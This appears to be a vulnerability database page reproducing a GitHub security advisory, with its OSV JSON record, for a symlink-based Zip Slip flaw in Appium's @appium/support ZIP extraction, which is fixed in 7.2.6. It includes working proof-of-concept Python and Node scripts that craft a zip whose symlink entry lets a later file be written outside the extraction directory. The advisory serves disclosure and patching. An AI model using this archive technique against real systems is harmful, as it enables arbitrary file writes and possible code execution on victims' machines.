GHSA-QFXX-C367-67F8
Vulnerability from github – Published: 2026-10-15 20:18 – Updated: 2026-10-15 20:18Summary
CVE-2026-30973 (GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like ../evil.txt was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.
This finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example pwn and pwn/owned.txt, no .. anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.
The two issues compared on the same patched version 7.2.5:
| CVE-2026-30973 | This finding | |
|---|---|---|
| Vector | one entry whose name contains .. |
a symlink entry plus a file written through it |
| Entry names | contain .. (illegal) |
legitimate, no .. and not absolute |
| What is missing | the .. name chec\k did not throw |
name checks never resolve symlinks, and the symlink target is unchecked |
| Entries needed | one | two |
| Fixed in 7.0.6 | yes | no |
| Status on 7.2.5 | blocked | still exploitable (proven below) |
Details
Root cause
The extractor applies only a lexical containment check on each entry's own name, then for a symlink entry it creates the link with the target taken straight from the archive:
// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5
97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks
98 throw new Error(`Out of bound path "${dest}" found while processing file ${fileName}`);
99 }
...
142 await fs.symlink(link, dest); // link target comes verbatim from the archive
isSubPath compares normalized strings and does not call realpath, so for the file entry pwn/owned.txt the destination dir/pwn/owned.txt is lexically inside dir and the check passes, even though dir/pwn is a symlink created by the previous entry that points outside dir. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.
PoC
build_zips.py
#!/usr/bin/env python3
import os, sys, zipfile, shutil
work = sys.argv[1] if len(sys.argv) > 1 else "/tmp/zswork"
pid = os.getpid()
shutil.rmtree(work, ignore_errors=True)
os.makedirs(work)
# Test A: CVE-2026-30973 plain "../" path traversal in the entry name
extractA = os.path.join(work, "extractA"); os.makedirs(extractA)
escapeA_name = f"escapeA_{pid}.txt" # would land in work/ (outside extractA)
escapeA = os.path.join(work, escapeA_name)
zipA = os.path.join(work, "cve_vector.zip")
with zipfile.ZipFile(zipA, "w") as z:
z.writestr("../" + escapeA_name, "CVE-2026-30973 plain traversal\n")
# Test B: symlink entry whose target escapes, then a file through it
extractB = os.path.join(work, "extractB"); os.makedirs(extractB)
escapeB = os.path.join(work, f"escapeB_{pid}"); os.makedirs(escapeB)
zipB = os.path.join(work, "symlink_bypass.zip")
with zipfile.ZipFile(zipB, "w") as z:
sl = zipfile.ZipInfo("pwn")
sl.create_system = 3 # unix, so external_attr carries the mode
sl.external_attr = (0o120777 & 0xFFFF) << 16 # S_IFLNK | 0777
z.writestr(sl, escapeB) # symlink target is the file body
fi = zipfile.ZipInfo("pwn/owned.txt")
fi.create_system = 3
fi.external_attr = (0o100644 & 0xFFFF) << 16
z.writestr(fi, "PWNED via symlink Zip Slip\n")
print("\t".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))
zipslip_poc.js
'use strict';
const fs = require('fs');
const path = require('path');
const support = require('@appium/support');
const [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;
(async () => {
const ver = require('@appium/support/package.json').version;
console.log(`[*] @appium/support version: ${ver}`);
console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);
// Test A: the CVE-2026-30973 vector
console.log('\n=== Test A: CVE-2026-30973 plain "../" entry name ===');
let aBlocked = false;
try {
await support.zip.extractAllTo(zipA, extractA);
} catch (e) {
aBlocked = true;
console.log(`[+] REJECTED by extractor: ${String(e.message).split('\n')[0]}`);
}
const aEscaped = fs.existsSync(escapeA);
console.log(`[=] ${aBlocked && !aEscaped ? 'BLOCKED, so CVE-2026-30973 is PATCHED in this version' : 'ESCAPED (not patched)'}`);
// Test B: this finding, the symlink bypass
console.log('\n=== Test B: symlink entry + file written through it (this finding) ===');
try {
await support.zip.extractAllTo(zipB, extractB);
} catch (e) {
console.log(`[i] extractor message: ${String(e.message).split('\n')[0]}`);
}
const planted = path.join(escapeB, 'owned.txt');
const bEscaped = fs.existsSync(planted);
if (bEscaped) {
console.log('[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED');
console.log(` wrote : ${planted}`);
console.log(` content: ${JSON.stringify(fs.readFileSync(planted, 'utf8'))}`);
} else {
console.log('[-] symlink vector did not escape');
}
console.log('\n=== SUMMARY (same installed version) ===');
console.log(`A CVE-2026-30973 plain ../ : ${aBlocked && !aEscaped ? 'BLOCKED (fix present)' : 'ESCAPED'}`);
console.log(`B symlink bypass (this bug): ${bEscaped ? 'ESCAPED (still vulnerable)' : 'blocked'}`);
process.exit(aBlocked && !aEscaped && bEscaped ? 0 : 2);
})().catch((e) => {
console.error('ERROR', e);
process.exit(3);
});
use
Impact
An attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.2.5"
},
"package": {
"ecosystem": "npm",
"name": "@appium/support"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.2.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-103975"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:18:56Z",
"nvd_published_at": "2026-10-14T18:17:21Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nCVE-2026-30973 [(GHSA-rfx7-4xw3-gh4m)](https://github.com/appium/appium/security/advisories/GHSA-rfx7-4xw3-gh4m) was a plain path traversal in the entry name. The containment check built an Error object without throwing it, so an entry literally named something like `../evil.txt` was written outside the destination. That issue was fixed in @appium/support 7.0.6 by actually rejecting out of bound entry names.\n\nThis finding is a different vector that the 7.0.6 fix does not cover. The archive entry names here are completely legitimate (for example `pwn` and `pwn/owned.txt`, no `..` anywhere), so every name based defense accepts them. The escape happens through a symbolic link. One entry is a symlink whose target points outside the extraction directory, and a later entry is a regular file whose name resolves through that symlink. The name based containment check never inspects the symlink target, and the extractor writes the symlink target verbatim, so the file lands outside the extraction root.\n\nThe two issues compared on the same patched version 7.2.5:\n\n| | CVE-2026-30973 | This finding |\n|---|---|---|\n| Vector | one entry whose name contains `..` | a symlink entry plus a file written through it |\n| Entry names | contain `..` (illegal) | legitimate, no `..` and not absolute |\n| What is missing | the `..` name chec\\k did not throw | name checks never resolve symlinks, and the symlink target is unchecked |\n| Entries needed | one | two |\n| Fixed in 7.0.6 | yes | no |\n| Status on 7.2.5 | blocked | still exploitable (proven below) |\n\n\n\n### Details\n\n## Root cause\n\nThe extractor applies only a lexical containment check on each entry\u0027s own name, then for a symlink entry it creates the link with the target taken straight from the archive:\n\n```js\n// @appium/support build/lib/zip.js (extractAllTo path), version 7.2.5\n97 if (!isSubPath(dest, dir)) { // lexical only, never resolves symlinks\n98 throw new Error(`Out of bound path \"${dest}\" found while processing file ${fileName}`);\n99 }\n...\n142 await fs.symlink(link, dest); // link target comes verbatim from the archive\n```\n\n`isSubPath` compares normalized strings and does not call realpath, so for the file entry `pwn/owned.txt` the destination `dir/pwn/owned.txt` is lexically inside `dir` and the check passes, even though `dir/pwn` is a symlink created by the previous entry that points outside `dir`. The write then follows that symlink and escapes. The symlink target itself is never validated against the extraction root.\n\n### PoC\n\n\u003cimg width=\"1443\" height=\"411\" alt=\"image\" src=\"https://github.com/user-attachments/assets/95b257d6-bc1d-4407-b22b-557119fb376a\" /\u003e\n\n\n\nbuild_zips.py\n\n\n```python\n#!/usr/bin/env python3\n\nimport os, sys, zipfile, shutil\n\nwork = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/zswork\"\npid = os.getpid()\nshutil.rmtree(work, ignore_errors=True)\nos.makedirs(work)\n\n# Test A: CVE-2026-30973 plain \"../\" path traversal in the entry name\nextractA = os.path.join(work, \"extractA\"); os.makedirs(extractA)\nescapeA_name = f\"escapeA_{pid}.txt\" # would land in work/ (outside extractA)\nescapeA = os.path.join(work, escapeA_name)\nzipA = os.path.join(work, \"cve_vector.zip\")\nwith zipfile.ZipFile(zipA, \"w\") as z:\n z.writestr(\"../\" + escapeA_name, \"CVE-2026-30973 plain traversal\\n\")\n\n# Test B: symlink entry whose target escapes, then a file through it \nextractB = os.path.join(work, \"extractB\"); os.makedirs(extractB)\nescapeB = os.path.join(work, f\"escapeB_{pid}\"); os.makedirs(escapeB)\nzipB = os.path.join(work, \"symlink_bypass.zip\")\nwith zipfile.ZipFile(zipB, \"w\") as z:\n sl = zipfile.ZipInfo(\"pwn\")\n sl.create_system = 3 # unix, so external_attr carries the mode\n sl.external_attr = (0o120777 \u0026 0xFFFF) \u003c\u003c 16 # S_IFLNK | 0777\n z.writestr(sl, escapeB) # symlink target is the file body\n fi = zipfile.ZipInfo(\"pwn/owned.txt\")\n fi.create_system = 3\n fi.external_attr = (0o100644 \u0026 0xFFFF) \u003c\u003c 16\n z.writestr(fi, \"PWNED via symlink Zip Slip\\n\")\n\nprint(\"\\t\".join([work, extractA, escapeA, zipA, extractB, escapeB, zipB]))\n```\n\nzipslip_poc.js\n\n\n```javascript\n\u0027use strict\u0027;\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst support = require(\u0027@appium/support\u0027);\n\nconst [, , work, extractA, escapeA, zipA, extractB, escapeB, zipB] = process.argv;\n\n(async () =\u003e {\n const ver = require(\u0027@appium/support/package.json\u0027).version;\n console.log(`[*] @appium/support version: ${ver}`);\n console.log(`[*] CVE-2026-30973 was fixed in 7.0.6, so on this newer version the plain ../ vector should be blocked.`);\n\n // Test A: the CVE-2026-30973 vector\n console.log(\u0027\\n=== Test A: CVE-2026-30973 plain \"../\" entry name ===\u0027);\n let aBlocked = false;\n try {\n await support.zip.extractAllTo(zipA, extractA);\n } catch (e) {\n aBlocked = true;\n console.log(`[+] REJECTED by extractor: ${String(e.message).split(\u0027\\n\u0027)[0]}`);\n }\n const aEscaped = fs.existsSync(escapeA);\n console.log(`[=] ${aBlocked \u0026\u0026 !aEscaped ? \u0027BLOCKED, so CVE-2026-30973 is PATCHED in this version\u0027 : \u0027ESCAPED (not patched)\u0027}`);\n\n // Test B: this finding, the symlink bypass \n console.log(\u0027\\n=== Test B: symlink entry + file written through it (this finding) ===\u0027);\n try {\n await support.zip.extractAllTo(zipB, extractB);\n } catch (e) {\n console.log(`[i] extractor message: ${String(e.message).split(\u0027\\n\u0027)[0]}`);\n }\n const planted = path.join(escapeB, \u0027owned.txt\u0027);\n const bEscaped = fs.existsSync(planted);\n if (bEscaped) {\n console.log(\u0027[+] ARBITRARY FILE WRITE OUTSIDE THE EXTRACT ROOT VIA SYMLINK CONFIRMED\u0027);\n console.log(` wrote : ${planted}`);\n console.log(` content: ${JSON.stringify(fs.readFileSync(planted, \u0027utf8\u0027))}`);\n } else {\n console.log(\u0027[-] symlink vector did not escape\u0027);\n }\n\n console.log(\u0027\\n=== SUMMARY (same installed version) ===\u0027);\n console.log(`A CVE-2026-30973 plain ../ : ${aBlocked \u0026\u0026 !aEscaped ? \u0027BLOCKED (fix present)\u0027 : \u0027ESCAPED\u0027}`);\n console.log(`B symlink bypass (this bug): ${bEscaped ? \u0027ESCAPED (still vulnerable)\u0027 : \u0027blocked\u0027}`);\n process.exit(aBlocked \u0026\u0026 !aEscaped \u0026\u0026 bEscaped ? 0 : 2);\n})().catch((e) =\u003e {\n console.error(\u0027ERROR\u0027, e);\n process.exit(3);\n});\nuse\n```\n\n\n### Impact\n\nAn attacker who controls an archive that Appium extracts can write files to arbitrary locations writable by the Appium process, since the write follows a symlink to any target the archive specifies. Depending on where Appium runs this can overwrite a configuration file, drop a script into a startup or profile location, or replace a binary on the PATH, which can escalate to code execution. On a continuous integration runner or a device farm host the reachable paths include anything writable by the service account.",
"id": "GHSA-qfxx-c367-67f8",
"modified": "2026-10-15T20:18:56Z",
"published": "2026-10-15T20:18:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/appium/appium/security/advisories/GHSA-qfxx-c367-67f8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103975"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/pull/22436"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/commit/d9eb36f413153e28b04b92d8ce4447da270371c0"
},
{
"type": "PACKAGE",
"url": "https://github.com/appium/appium"
},
{
"type": "WEB",
"url": "https://github.com/appium/appium/releases/tag/@appium/support@7.2.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Appium: Symlink based Zip Slip in @appium/support ZIP extraction"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.